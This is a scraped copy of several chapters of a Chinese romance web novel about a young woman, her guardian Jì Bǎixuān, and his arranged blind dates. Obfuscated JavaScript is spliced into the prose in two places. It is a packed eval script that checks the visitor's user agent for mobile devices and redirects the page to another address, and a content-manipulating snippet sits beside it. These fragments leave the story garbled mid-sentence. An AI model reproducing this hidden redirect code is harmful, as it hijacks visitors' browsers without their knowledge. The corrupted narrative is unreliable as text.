《暮雪燃京》 7. 六便士04 *六便士* 赫惟阑尾炎手术住院一周,出院后参加完期末考试便被接到纪柏煊三里河的别墅里调养身体。 程茗想让赫惟住回家里,遭到纪柏煊的严词拒绝。 “你妈和你爸天天上班那们忙,妹妹现在身体要调养,我能放心把她交给你?” 言下之意,他自己都不是让人省心的那块料。 程茗摸了摸头,和赫惟对视一眼,后者无奈摇头。 两只苦命鸳鸯。 “你要是爱凑热闹,学校事情忙完过来我这里住也行,家里阿姨按时按点做饭,我盯着你们把作息改掉。”纪柏煊这次回来,脾气比从前硬气太多。 程茗不敢忤逆他,看着赫惟上了他的车,那样子也不像是自己不情愿。 这些年吵归吵,闹归闹,赫惟从来没有不知好歹过。 她知道纪柏煊这是为了她好,特地找了阿姨照顾她的起居,换个人他才不操这个心。 都是看在赫远征的面子上吗? 也不见得。 赫惟跟在纪柏煊身后,她住院那天走的急,就穿了一套普通厚度的睡衣,外头裹了件跟棉被似得长羽绒服,一直遮到小腿。脚下踩着一双UGG,仅有的一包杂物被纪柏煊拎在手里,皱皱巴巴的一只购物袋,赫惟不自觉扬起了嘴角。 她觉得纪柏煊现在特别像刚从菜市场出来。 当时林琦琪去医院给她送东西的时候,她就吐槽了这袋子简陋。 刘亦菲出门都不敢拎着这袋子,纪柏煊倒好。 所幸就下车的这几步路。 要不然赫惟都想给他拍下来。 “走这么慢,你腿也伤了?”不知是不是身后目光炙热,纪柏煊转过头来,似乎是在等她,可说出来的也不是好话。 “我让你等我了?”赫惟三步并作两步走过去,冷哼一声,“你爱生气就生着吧,年头生气气一整年,回头股价跌了别赖我身上。” “你才迷信。”他道:“家里都是阿姨这两天仔细打扫过的,你的房间也是,床单被子都是新换的,花色是我让你程阿姨在网上买的,柜子里还有两套,如果不喜欢现在的就让阿姨给你换。” 他说“家”这个字,竟然让赫惟莫名一阵心悸。 海市蜃楼一般,让人一瞬间误以为真。 “这个赵阿姨,是你陆叔叔之前一个案子受害人的遗孀,不住家里。”他又补充。 “啊?”不住家里……赫惟抬起头,眼神便是问询。 “你从前不是说,长大了需要隐私。”纪柏煊说:“阿姨每天朝朝六晚六,早上一个小时买菜,然后休息到十一点过来做饭,每天工作八个小时,标准工时。” “你在说些什么?”赫惟跟着他进了屋子。她又没有上过班,哪里知道什么是标准工时。 “你下学期学校就没课了,到时候实习,你有想去的公司吗?”纪柏煊就是为了这事儿提前回来的。 纪柏煊:“如果没有,那就来我这边实习,先在子公司做个普通职员,等什么时候你可以独当一面了,我安排你进集团财务部。” “培养心腹么?”赫惟看着他将那袋东西搁在桌子上,转身进了厨房。 不过十几秒,他端着杯水出来了。 赫惟知道他是给她接的水,伸手接过来,听见他说:“什么心腹,我看你是宫斗剧看太多了。” 赫惟浅喝了两口水,就放下了杯子,“可是我看你们公司招聘不都是研究生起步的么,本科学历除非是名校,最次也得是个211吧,我这普通一本……” “先学管理,后面想要提升学历再考研也行,自家公司,这东西也不是硬性条件。”说完他才意识到,这丫头其实有私下有了解过纪氏集团。 这也是纪柏煊突然决定回国的原因,他原以为赫惟一定会像程茗一样继续读个研究生,谁知她竟然连考试都没报名。 他就想知道他不在的这几年,这姑娘是为什么突然变得不思进取了,高考失利,放弃考研,难道她就打算这么混日子混一辈子么? 也不知是不是跟程茗学的。 即便是,人家起码读了研,也有考公的计划,好的不学。 他觉得自己有必要回来管束一下赫惟,如果任由她这样蹉跎人生,他不知道日后要如何向赫远征交待。 纪柏煊靠上沙发,问她:“四年没回来了,你觉得这房子有什么变化?” 他在新加坡这几年,有托程似锦帮他定期找钟点工打扫卫生,房子里陈设一切如旧,就连位置都没有挪动过。 “没变化呀。”她答得不可谓不敷衍,像被女朋友逼问今天化的妆和昨天有没有变化的直男。 纪柏煊拍了拍身侧的沙发,“坐过来,我这个角度看得清楚些。” 赫惟默默坐过去,和他看向同一个方向。 “没有以前采光好了?赫惟思考了好半天,才作出一个自己勉强觉得不敷衍的回答。 纪柏煊摇头,眼神里似有一种怅惘,他说:“采光不好是因为阴天,而且京市这几天都有霾,你暂且别处出门去玩,如果要什么东西让程茗给你买了送过来,或者直接发给我,我让秘书去办。” “做你的秘书真惨,私事儿要处理就算了,其他人的事情也要管。”赫惟又想起周晓。 纪柏煊扭头望向她,纠正,“你是家人,不是什么其他人。” 家人你说丢下几年就丢下,谁要和你做家人。 赫惟懒得反驳他,“嗯嗯”了两声,“那到底是哪里不一样?” 他指了指桌子上的那只花瓶,“你从前说的烟火气,现在没了。” 和他在新加坡时住的酒店套房一样,没有温度,也没有生气。 不知是不是错觉,赫惟觉得纪柏煊心态老了许多。从前他才不在意这些,甚至遇上他心情不佳的时候,他还会冲花草撒气。 赫惟觉得莫名其妙,“想要烟火气,你交个女朋友不就好了?” 转身顺着扶梯上了二楼。 对纪柏煊一瞬的失落视而不见。 赫惟原来住的那间房间门开着,但因为在走廊深处,她走近了才看到。 楼梯旋转处是纪柏煊的套房,门紧闭着,但赫惟知道他没有上锁。 他没有将房门锁上的习惯,一是因为他的房间常年整洁干净不怕人看,二是因为几年前他锁过房门,害她忍着肠胃炎的痛苦苦敲了好几分钟的房门,才把他叫醒。 后来他就改了睡觉锁门的习惯。 反正阿姨不会贸然闯入,而如果是赫惟,他不介意让她闯入。 也正是因为这份“不介意”,让赫惟以为她所做的一切,都是他默许的。 以至于乱了分寸。 赫惟阑尾炎手术后修养像是坐月子,阿姨不让她吹风,赫惟成天窝在房间里和林琦琪她们开黑。吃完午饭等晚饭,吃完晚饭等周公驾到,不等程茗学校的事情处理完搬过来,赫惟的生物钟没改过来,反而昼夜颠倒。 一周以后,事态严重到纪柏煊去公司的时候她才刚睡下,纪柏煊回来的时候她人还没醒。 赫惟自然也知道他被逼相亲的事。 她和程似锦亲如母女,无话不谈,两个人抱着手机能聊一整天。 正如赫惟所说,纪柏煊人一回国,纪家那位快九十岁高龄的“太上皇”就操心上了他的婚姻大事,和他母亲方琼一起挑了几个京市适婚年纪的名媛安排他去赴约。 仅仅一周,工作才五天,相亲却要相七次,连个休息日都没有。 纪柏煊按着眉心叹气,冲老爷子卖惨,“我这工作强度不英年早逝都是幸运,您连下了班都不让我松快会儿。” 纪国强一只手衔着茶杯盖子,正往外扑热气,轻飘飘睨了他一眼,“谁逼你朝九晚五到公司报到了?是我逼你了还是你三叔?” 纪柏煊摇头,“三叔如今对我倒是客气得很,他女婿家的生意去年出了那档子事儿,以后估计是靠不住了。” “小四家那位二世祖,从来就没靠得住过。”纪国强说的小四是纪柏娅,纪柏煊的堂妹。 纪柏煊笑笑没有接话,自知他刚回国,这几场相亲是躲不掉的,等大家被他那敷衍了事的态度磨灭了耐性之后便会放弃。 何必要在年关的节骨眼上气他老人家呢? “你三叔这回给你约的梁家的姑娘不错,我替你看过了,若是她上下有个兄弟,你三叔都想要让小五嫁过去。”纪国强真不是夸大其词,这梁家的确实是个好的联姻对象。 纪柏煊还能再说什么,只得乖乖去赴宴。 一餐饭不似想象中的百无聊赖,纪柏煊静静听着对面的人喋喋不休,竟觉得她说话的样子和赫惟有五六分相似。 “然后呢?”梁媛聊到自己本科时和室友闹矛盾的委屈,良久没有继续下去,纪柏煊放下红酒杯,抬头问询。 梁媛摸了摸自己微热的耳朵,“我以为你没在听呢。” 她方才看见纪柏煊慢条斯理地切牛排,突然意识到似乎一直是自己在絮叨,以为对方并不感兴趣,后知后觉地闭了嘴。 谁知道她一停下,纪柏煊就开了口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262805|166539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪柏煊并非不擅长和异性/交流,生意场上多的是巾帼不让须眉的例子,相反他很乐意和女人一起做生意,不用搞那些虚头巴脑的表面工程,也不说啰嗦的场面话,说什么就是什么,不用刻意将应酬选在乌七八糟的风月场所。 而且似乎是因为女性在职场上备受打压,所以她们努力起来有时候妇女能顶整片天。 纪柏煊发自内心尊重并欣赏每一个职场女性。 他曾经想过,如果有一天一定要与另一个人走进婚姻,他绝不会娶一个每天在家里守着他、终日围着他转的女人回家。 他不愿像他父亲纪远忠一样耽误别人的一生。 即便对方心甘情愿。 梁媛早从父亲口中听说过纪家这位含着金汤匙出生的三代,那时候他还尚未掌管纪氏集团,之所以在圈子里有名气,是因为他那张从小就蛊惑人的脸。 据说他小时候跟着长辈一同参加晚宴,姐姐阿姨们争先恐后都要与他合影。 梁媛看过母亲和小纪柏煊的合影,确实人中翘楚。 听闻他曾咋香港旅游时被星探看中,差点就一只脚踏进了演艺圈。 但纪家是多体面的人家,转去从商已然是觉得自降身价,更遑论去做什么戏子。 梁媛抬头和纪柏煊对视,莫名紧张起来。 这么好看的人,没有任何缺陷甚至各方面都遥遥领先同龄人,除了研究生肄业……但有钱无脑的二代三代这么多,这算哪门子缺陷? 到底是为什么他这个年纪却还孑然一身? 梁媛三两句话结束自己大学生活的分享,将话题转移到纪柏煊身上。 “听闻你是最近才从新加坡回来的,以后还会出去吗?” 纪柏煊实话实说,“平时出差不会少,但像之前那样长期驻外,以后我还是安排别人去吧。” 梁媛了然,“也是,你爷爷年纪大了,肯定希望唯一的孙子能陪在身边,也难怪他催着你早点成家立业。” 梁媛小纪柏煊七岁,在如今提倡晚婚的社会上并不算大龄剩女,女孩家也不用背负成家立业的重担,长辈们对她唯一的要求就是健康快乐。 她是对纪柏煊有些好感的,但毕竟了解不多,要说多上头那也是夸大,毕竟她也不缺钱,也不是没有见过帅哥因为一张皮就沦陷的无知少女。 两人后面又吃了两次饭,商定先交个朋友,也算是给长辈们一个交待。 纪柏煊如释负重,他一眼看出梁媛和前面那几位不学无术的千金大小姐不一样,不是从生下来就被教育“嫁人是人生答卷”的工具人。 这样的人才可以做朋友,不用担心被缠上。 当然,还有另一层纪柏煊自己都不愿承认的原因。 她喋喋不休的样子让他感到亲切。 那是十八岁以前的赫惟曾展露过的一面。 现在的赫惟,面对他却只有冷言冷语。 三句话不离催他找个女朋友。 不过她们现在在家里也很少碰面,一天也就说三句话。 “回来了?” “吃了么?” “今天相亲的姑娘怎么样,看上了么?” 罕见地,今天赫惟倒是开口说了句别的。 她问他:“哥哥明天考完试搬过来,让他住哪个房间?” 别墅一楼两个保姆间,二楼四间套房,三楼是舞蹈室和一个空中泳池。 舞蹈室是赫惟的,泳池是每天纪柏煊用来锻炼身体的。 不分春夏秋冬,纪柏煊只要在家,早起第一件事就是游泳,所以这些年他一直有姣好的体魄……和身材。 程茗能选择的只有赫惟旁边的小套间和纪柏煊旁边的大套间。 “我希望他住我隔壁,这样我会比较自在一些。”因为这几年住在程似锦那儿,她和程茗的房间就紧贴着。 纪柏煊没挑刺,“只要他不抢你的房间,他爱住哪个房间就住哪个房间,又没上锁。” 程茗过来,他最怕两个人你争我抢,又像小时候那样。 话音未落,门铃声响起。 赫惟没作思考直接按了语音键,问她哪位。 梁媛愣了愣,好半天才开口向她确认:“这里不是纪柏煊的家吗?你是哪位?” 难道他这个年纪还未婚,是因为在外面金屋藏娇? 赫惟抬眼看向迎着她的目光抱起胳膊的纪柏煊,没有说出他预料当中的那句话。 ——他从前甚为讨厌,如今却有点期待的,她的恶作剧。 她真的,长大了。 8. 月亮04 *月亮* “你有喜欢的人吗?”赫惟在回家的车上,第一次主动和纪柏煊开启一个话题。 而且似乎还是个挺严肃的话题。 纪柏煊年近三十,被许多人问过是否已经成家或者是否单身,但从来没有一个人问过他是否有喜欢的人。 他望着赫惟好奇的眼睛,大脑宕机了那么一瞬。 他似乎也是第一次问自己这个问题。 答案几乎不需要思考。 “你指的是哪种喜欢?”他动了动身子,调整了一下坐姿,然后再一次看向赫惟。 两人面对面,这一刻她在他眼里清晰无比,就连眼底深处暗藏的那一丝玩味,都一览无余。 赫惟被他这句话噎住了。 她知道这就是他的答案了。 纪柏煊之所以多余问这一句,是因为不同种类的喜欢,他的答案有所变化。 人不可能没有喜欢相处的人,但却可以没有心上人。 纪柏煊原就是个冷漠寡言的人,无心情爱也是正常。这几年他进集团重整组织架构,又将业务从南美往东南亚转移,本身就已经是分身乏术。 赫惟理解他这种人,因为从前的赫远征也是如此。 赫惟曾经问过赫远征为何不恋爱不再婚,他就是把学校的任务意义罗列,用的“分身乏术”这个理由。 纪柏煊见她迟迟不接话,误以为小姑娘胆怯,搭在膝盖上的手抬起去捞她的书包。 用的是刚才被赫惟牵过的那只手。 米黄色的帆布包,里面不知装了什么,沉得像青春期的烦恼。 他第一次说教,在远离班主任也远离那个小男生之后。 他说:“赫惟,你现在最重要的事情是学习,我知道学校里肯定有不少男孩子来影响你,但是人要经得住诱惑,才能走得长远。” 赫惟不明所以,“他们那也能算得上诱惑?” 起码得颜值进得去北影才能算吧? 赫惟抿着唇,听到纪柏煊询问她:“我能看看你书包里面装了什么么?” 赫惟拉开书包拉链,往外掏东西,“课本,习题册,笔记本…” “我以为都是他们塞的情书和礼物呢。”纪柏煊帮着她把东西又装回书包里。 “是程茗跟你打的小报告么?”赫惟撅起嘴,料定恶人是程茗。 “是你班主任在电话里跟我这么说的。” “他那是造谣,自己都没被教育好,怎么能出来祸害我们?” 赫惟不服,但像钟小天这样的老师似乎并不罕见,她上网翻过京市其他几所中学的贴吧,也看到有人发过类似的牢骚。 班主任是性缘脑怎么办?她也想知道怎么办。 提到程茗,赫惟忽然抬起头打量他,莫名接上前面的话题,戳穿他:“老纪你撒谎,你说你没有喜欢的人,那那位夏小姐不是你女朋友么?” “女朋友?”纪柏煊像是头一回听到这个词,竟使他条件反射地发出一声轻呵,“谁和你说夏云初是我的女朋友?” 赫惟眼珠子转了转,没回答他。 纪柏煊心里便有了数。 “她是我大学同学,她父亲是我公司辖区的市监局长,之前我们是约着吃过两次饭,但都是托她父亲帮忙,不是单独见面。”纪柏煊解释:“我也是带着秘书一起去的,陈叔可以证明。” 前排专心开车的陈叔突然被cue,一时间没顾上点头。 赫惟双手交错画叉,“打住,谁管你是不是带着秘书一起去了,你又不是中学生,谈恋爱又不受限制。” “我没。”纪柏煊手指擦过西裤缝,声音轻如羽毛:“我没有喜欢的人,目前也没有恋爱的计划。” “啧啧,假正经。”赫惟想起那天玩真心话大冒险,程茗也一本正经说自己这几年没有谈恋爱的计划。 都说外甥像舅舅,确实莞莞类卿。 纪柏煊不知道小姑娘脑子里在想些什么,只见她脸上的表情变了又变,最后涤为一片清明。 赫惟将书包推到一边,凑近些坐到纪柏煊身边。 她忽然想起一起生活的这些日子,她从未在家里见到过陌生女人,但却听程茗说纪家就纪柏煊这么一个孙子,早盼着他能成家立业。 “老纪,等你以后结婚了,是不是就要搬回四合院去住了?” “怎么这么问?”纪柏煊没再和她对视,眼睛望向窗外的裹着白色涂料的树干,明明那么粗壮,抬头却不见一片叶子。 像疲惫不堪的人类,被京市的寒潮裹挟,奄奄一息。 赫惟小声嘟囔:“总觉得你因为我搬出来单住,会影响你和家里的关系。” 当初纪国强就坚决反对他帮赫远征养女儿,这事儿赫惟虽没有亲眼所见,但多少听到点风声。 外人只当是他们家族内斗,实际上纪国强的心一直偏长在纪柏煊这儿,谁人不知? 也不能真的将他扫地出门,纪柏煊搬出来单住也是为自己找台阶下。 赫远征的托付他无法拒绝。 纪国强的坚持他也不好忤逆。 好在赫惟也不是张扬的性格,出了别墅,没几个人知道他们的关系。 似乎是不想让赫惟歉疚,纪柏煊说:“没有你,我也是会搬出来住的。” 当初延毕时他住在赫远征那儿,就是图个清静。家里人多事情多,方琼也是个孤独惯了的人,他每次一回家,人将将往沙发上躺,方琼就开始张罗这个汤那个点心,然后像倒豆子一样开始给他讲最近的见闻。 中年人的日常,既不新鲜也不有趣,纪柏煊听多了头疼,早就想逃离五指山了。 赫惟摇头,“没有我你也许会搬出来住,但结了婚肯定还是要搬回去的,程阿姨都说你住在这儿不像纪家人。” “你别听程茗的那些胡言乱语,我现在女朋友都没有,结什么婚?”纪柏煊不明白话题怎么就扯到结婚上了,明明她们现在该思考的是晚饭吃什么。 阿姨今天不舒服请了假,没做晚饭,他是从公司直接去的学校,也还饿着肚子。 赫惟将信将疑,想起程茗的那些“胡言乱语”。 程茗当时料定纪柏煊和夏云初是情侣关系,信誓旦旦道:“等舅舅结婚以后,你大概率会被送来我们家。” 赫惟咬羊肉串签子的动作不禁放慢,抬头迎上程茗同情的目光。 程茗最是喜欢捉弄人,他吓唬她:“我家里可压抑了,我爸纸老虎一个,看着凶巴巴的实际上是个软蛋,在家里从来不发言的。我妈就是第二位女帝,和胡图图他妈一样头上常年着火,就问你怕不怕?” 这是个送命题。 赫惟睁大了眼睛,不敢接话,却记下了。 “老纪,我们这是去哪?”赫惟随着纪柏煊的目光看向窗外,发觉这并不是回家的路线。 “去吃饭。”陈叔将车子停在巷口,赫惟和纪柏煊先后下车,对视的那一眼,她就知道大事不妙。 果然,纪柏煊要去的就是她和程茗常去的那家烧烤店。 门被纪柏煊缓缓推开,赫惟弯腰从纪柏煊胳膊下面钻过去,先他一步走进店里。 老板看到赫惟,正要打招呼,被她先发制人:“老板你好,我们两个人,空位置都可以坐嘛?” 赫惟朝她眨了眨眼,老板立刻心领神会,佯装成第一次见她的模样,将她和她身后的纪柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赫惟冷冰冰的,“我不管他有什么苦衷,他把我一个人丢下,就是遗弃,他的行为让我有理由相信那些流言。”除了畏罪潜逃,她想不出有什么理由可以让他抛家弃女。 “他不是把你托付给我了么?我会照顾你到十八岁。”纪柏煊向她保证。 赫惟不愿提赫远征,站起身来去卫生间,等在回来时,烧烤已经摆满了桌子。 赫惟惊讶,“你怎么点这么多?” “程茗要过来。”他今天不用上晚自习,在学校打了场篮球,刚好也没吃晚饭。 “我们三个人也吃不完呀。”赫惟知道程茗的饭量,他只是眼馋,实际上喝啤酒多,吃肉少。 纪柏煊敲了敲手机屏幕,屏幕亮了,他将手机推到赫惟眼前,“夏云初约我晚饭,我说自己正在吃,她不信,我拍了张照片给她,她说要过来…” “啧啧,人家对你很感兴趣喔。”赫惟点点下巴,做了个柯南表情。 纪柏煊充耳不闻,“你不用太拘谨,我和她就是普通朋友。” “喔~”赫惟拉长了尾音,忽然心生一计。 她忽然从对面换到纪柏煊身边的座位,正对着门口,翘首以盼。 不多时,店门被推开,和凛冽寒气一起涌入的,是一个分外明媚的女孩儿。 赫惟通过纪柏煊抬头的时机确定这就是夏云初。 夏云初环视了四周看到纪柏煊,脸上的笑容僵了那么一瞬。 赫惟心里窃喜:纪柏煊果然没跟人家提起过自己。 那就不怪她不仁义了。 谁让纪柏煊这人不诚实,太装! 赫惟先一步站起身来,冲夏云初伸出友好的手,看都没看纪柏煊一眼,面不改色道:“阿姨好,我是小惟。” “阿……姨?”夏云初敛了敛眸。 “嗯呐,”赫惟嘟嘴看向纪柏煊,甜甜地说:“爸爸,你将来要是结婚了,你想让我怎么称呼你太太,阿姨……或者小妈?” 纪柏煊嘴唇抖了抖,被这突如其来的称呼扼住了喉咙。 9. 六便士05 *六便士* “别误会,纪柏煊是我舅舅。”赫惟连忙解释,给梁媛开了门。 梁媛缓步进院子,高跟鞋细跟与青石板砖面碰撞的声音响亮,赫惟透过落地窗看到佳人面目,轻声来了句:“妖艳型,老纪你现在审美变了呀。” 纪柏煊屁股还陷在沙发里,半分起身迎接的意思也没有,“什么妖艳型,我又不是挑选商品。” 梁媛面带歉意,看向纪柏煊,“不好意思,刚才是我误会了,我以为……” “你以为他金屋藏娇是吧?”赫惟走上前来,朝她笑道:“外套给我吧,我帮你挂起来。”她默认梁媛这个点过来会宿在这里。 梁媛迟疑两秒,脱下外套递给赫惟。她先前就听说纪柏煊有个同父异母的姐姐,按照辈分,如果面前这小姑娘叫他舅舅,应当就是姐姐的孩子。 “我叫梁媛,是你舅舅的朋友。”梁媛主动自我介绍。 “不是普通朋友吧,我猜你是他的相亲对象。”赫惟听程茗说过,纪家有位叔叔替纪柏煊牵的线,背靠的就是京市梁家。 梁媛大方承认:“我的确正在和你舅舅接触,并且感觉还不错。” 赫惟帮梁媛挂好外套,“哇,那你可赶紧收了他吧,年纪大了一个人孤苦伶仃也怪可怜的。” 纪柏煊闲散伸着的腿忽然绷直,膝盖微微拱起,“我的事,倒还用不上你操心。” 赫惟没理纪柏煊,去厨房给梁媛倒了杯热水,递上来,“赫惟,你叫我小惟就行。” 梁媛笑着接过水杯,听到赫惟说:“晚上喝茶容易睁眼到天亮,我就不给你泡茶咯。” 梁媛说没事,“我平时也不喝茶的,喝热水最健康。” “是老纪让你多喝热水吧?”赫惟斜一眼沙发上的男人,“大直男。” 梁媛替纪柏煊说话:“其实你舅舅在圈子里名声不错的,有本事人也长得帅,没你以为的那么滞销,不会一个人孤苦伶仃的。” 赫惟不以为然,“你这是还不了解他,往后多接触你就知道了。” 纪柏煊这人乍一看神仙儿似的,实际上古板又愚钝,气死人不偿命。 时间不早,梁媛直说今晚自己来这儿的目的,她将茶杯搁到茶几上,瞥了眼一旁的英文杂志,眼睛才和纪柏煊的对上。 她说:“这两天我们家老头子气性大,连着叨叨两晚上了,今天回去的路上在电话里又骂我一通,我就想着来你这儿对付一宿。” 说完她又觉得不礼貌,又改口:“我记得你上次说你是自己住的,没想到你外甥女今天在这儿,如果不方便……” “方便的。”赫惟指了指楼上,“明天我哥要搬过来,他住我隔壁的房间,中间还空着一间房,和老纪的房间挨着,你要不就住那间吧。” 纪柏煊站起身来,不好在赫惟这番话之后再拒绝人家,但…… “这房子之前空了几年,房间住进去之前都要深层次打扫,我隔壁这间暂时还没收拾过,你如果不介意就住赫惟隔壁吧。不过那个套间不算大,你住如果不习惯,我其实也可以帮你在附近酒店开间房。”他其实更愿意她选后者。 梁媛点点头,“我就对付一宿,没那么多讲究的,明天等老头子飞澳门了我就告辞。”她其实就是心血来潮想要看看一个单身男人的家是什么样儿。 赫惟不知什么时候端起了梁媛的杯子,撇嘴冷哼一声,“重色轻外甥,那我哥明天来了住哪?” “明天再叫阿姨把我隔壁那间收拾出来,多大点事儿?”纪柏煊眼底有冷意,赫惟没再说话,径直上了楼向程似锦打小报告。 “你舅舅如果真开窍了,那是好事。”程似锦从不娇惯程茗,说:“他去那儿打地铺都行,有吃有喝的供着他他还有的挑?” 赫惟忽然沉默,想起来自己也是那个没资格挑三拣四的人。 赫惟开了游戏,和程茗玩了两把,兴趣索然正愁找不到理由下线,梁媛来敲门了。 程茗以为是纪柏煊,屏着呼吸不敢说话,被赫惟骂了句“怂”。 程茗不承认,“虎母无犬子,我妈那样有魄力的人,生不出怂儿子。” 赫惟去给梁媛开门,“切”了声要退出游戏,程茗先她一步开口:“挺久没见了,想哥哥了没?” 赫惟翻了个白眼,“哥哥有什么好想的,要想也是想弟弟。” “嚯,这么饥渴?” “我说的是对面打野那种纯情男高,秀死了。” 赫惟在程茗那句脏话出来前退出了游戏,去给梁媛拿卸妆工具。 梁媛什么东西都没带,浴巾洗漱用品这些家里倒是有客用的,但护肤品面膜却并没有,赫惟本着替纪柏煊拉票的目的,留她在自己卫生间卸妆护肤,完事儿两个人贴着鸳鸯面膜盘腿坐在沙发上刷短视频。 不过几分钟,赫惟肚子咕噜叫出声来。 她抬眼看一眼梁媛,揭下面膜投篮投向垃圾桶,问她:“饿不饿,想不想去吃宵夜?” 梁媛伸手去够茶几上的纸巾,正欲擦拭淌下来多余的精华,被这么一问,倒真有些饿了。 她低头看了眼自己身上的大浴巾,犹豫,“夜宵吃多了是不是会长胖啊?” 赫惟已经在套衣服了,她身上的家居服没有脱,推开衣柜翻了件套头卫衣往身上套,将脖领子撑开到极限,生怕脸上未干的精华液将衣领沾湿。 由不得梁媛拒绝,她加码,“这个新阿姨做的菜太清淡了,我晚上没吃两口,不吃点夜宵胃里空空肯定睡不着。” 为了打消她的顾虑,赫惟站在体重秤上叫她看,“我一米七三,九十七斤,晚上吃宵夜早上排出去就不会长胖,真的。” “而且你不用有身材焦虑,老纪这人有一点好,他看女人不像是选妃,不会对女孩子评头论足,你什么样他都不会嫌弃的。” 梁媛也撕了面膜,学赫惟投篮,“那我不行,我接受不了男人秃顶有啤酒肚,或者矮冬瓜一样。” “老纪不会的,他每天早上起来就锻炼,头发也茂密,这你就把心放肚子里吧。”赫惟像推销商品一样,在后面的几分钟里将纪柏煊的优点一一罗列出来。 梁媛也是个自来熟,倚在赫惟房门边,同她倾诉:“你舅舅人是长得不赖,身材料想也应该不错,但是吧……”梁媛迟疑两秒,终于还是决定坦白。 “我之前有一个谈了挺久的男朋友,但是家里人不同意,分手才半年,这会儿实在是对其他男人提不起兴趣。” 这显然是赫惟意料之外的,她将胳膊套进鼓囊的羽绒服袖子,扭过身子看向梁媛。 晚间那个踩着高跟鞋,妆容艳丽的大姐姐,这会儿一张脸素白到发光,赫惟初见时以为她是那种妖艳型美女,这会儿才发觉美女是可以适应各种风格的。 她素起来也好看。 “那你为什么要和老纪相亲?”赫惟以为梁媛一定是对纪柏煊很感兴趣的,毕竟主动找到家里来,比从前那个夏云初可主动多了。 梁媛撇撇嘴,“说来话长,吃饭的时候慢慢和你说吧。” 梁媛问她:“我们两个人吃独食会不会太好,要不要叫上你舅舅?” “他不吃宵夜,他说有这习惯的都是不学无术的,三五成群,吹牛放屁。偏见!”赫惟将羽绒服拉链拉到最高,戴上帽子,一张本就小的脸又被包去一半。 梁媛这时候切换知心大姐姐身份,“你舅舅说的虽然过于以偏概全了,但是也不无道理,今天我陪着你,改明儿你一个女孩子别自个儿去吃宵夜,不安全。” 喝点酒就不要脸皮的男人太多,即便是首都的治安也不能完全抑制违法犯罪现象。 赫惟不走心地点头,心想自己哪回去吃夜宵不找个伴陪着,当程茗是死的啊。 好吧,没人知道她和程茗的关系,她们都还把她当小孩子看呢。 赫惟随即下决定,就从梁媛入手。 当成试探纪柏煊的第一步。 “我二十二了。”赫惟忽然说。 梁媛没把自己捂得像赫惟这般严实,走几步路也不觉冷,接起话来:“二十二说大不大,说小也不小了,可以谈恋爱了。” “我有男朋友。”赫惟抬头看向路灯,那昏黄的光照出她们两个人的影子,分不清男女。 从前每一次,和她一起穿行在夜色里的人,都是程茗。 梁媛并不惊讶,“我看到你洗漱包里的刮胡刀和男士香水了。” “嗯,成年人你情我愿的事情你应该理解的吧。” 梁媛嫌高跟鞋累赘,穿了双赫惟的棉鞋,要踮起脚来才能搭上赫惟的肩膀。 她不以为意,“这有什么的,我成年那天就……” “你先别告诉老纪,他那个人老古板,我担心他会棒打鸳鸯。”赫惟声音软绵绵的,踩着影子一步一步走。 鸳鸯?她和程茗貌似也还算不上。 京市的冬天气温低,夜晚时常能到零度以下,路面上结一层薄霜,蹲下身子能看清冰莹的霜花脉络。 赫惟走了几步,影子被一片树影盖住,她抬起头看向路边,并没有什么粗壮的树干,只有一个同她一样裹着厚重羽绒服的……男人。 “老纪?”他戴着口罩,赫惟完全是通过身形认出的他。< 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赫惟拒绝与纪柏煊单独沟通,执意,“这也不是什么见不得人的事情,咱们仨坐着,点点儿吃的,边吃边说。” 她是真饿了,否则这大冬天的谁乐意往外跑。 梁媛也是见过世面的,正所谓girlshelpgirls,她也没有因为纪柏煊的一句话就退避三舍,反而贴着赫惟,挽上她的胳膊一晃一晃。 “训孩子也没有这样训的,天寒地冻的,你俩是都穿了祖传的大被子,我可还受着冻呢。” 纪柏煊讲究体面,梁媛此番算是客人,他的确不能太不管不顾。 几个人进了家羊蝎子餐馆,点了份锅子要了几个小菜,赫惟问纪柏煊:“喝酒么?天冷喝酒暖和。” 室内嘈杂,梁媛没来过这么接地气的馆子,看什么都觉得新鲜。 周围一桌有男有女,看着像在附近工作刚下班的,人均一只酒杯,桌上白的啤的都有。 纪柏煊的眉头紧紧锁着,没立即接话,反问她:“你是不是常来这种地方?” “哪种地方?”赫惟将菜单丢过去,说:“整一瓶二锅头吧,我壮壮胆,一会儿你想问我什么我全都招认。” 纪柏煊看她已经在拆餐具,将滚热的茶倒进酒杯里,呵呵笑,“羊蝎子下酒,好运我有。” “我看你没喝就已经醉了。”梁媛选择坐在她旁边,和纪柏煊对视一眼,心里清楚这人正在酝酿一场血雨腥风。 舅舅管外甥女到这份上,其实有些过了。 她想劝阻,但又不好插手人家家务事。 赫惟摇摇头,“你不知道,以前老纪可喜欢喝酒了,常常都是喝的醉醺醺的回来,站都站不稳。” “我说过那是应酬,不是我自己喜欢喝。”纪柏煊拿筷子戳破餐具外面的塑封膜,“啪”的一声,像他的怒气。 提起过去,他就有股说不上来的怒意。 不知是冲时间还是冲他自己。 “不喜欢还是一直喝,那就是喜欢。” 赫惟手背撑着下巴,像看一个陌生人似的看纪柏煊,“我又不是你肚子里的蛔虫,你心里喜不喜欢喝酒我不知道,但我眼里看到的就是一个酒鬼。” 店里灯光暖黄,打在赫惟严肃的小脸上。 纪柏煊忽然想起从前被赫惟管着,不许他喝太多酒的日子。 那时她也是这般大人模样,抱着胳膊站在二楼栏杆处望向楼下的他,恶狠狠地说:“你要是天天这么喝酒,等不及我爸回来,你就得先走。” 她像是故意吓唬他,还要加一句:“我们学校前教导主任就是喝酒喝死的。” 她不是咒他,她是真的担心他的身体。 她说她不想再失去一个亲人了。 可是她交男朋友这么大的事情,却没有告诉他这个亲人。 是不是太过分了一些? 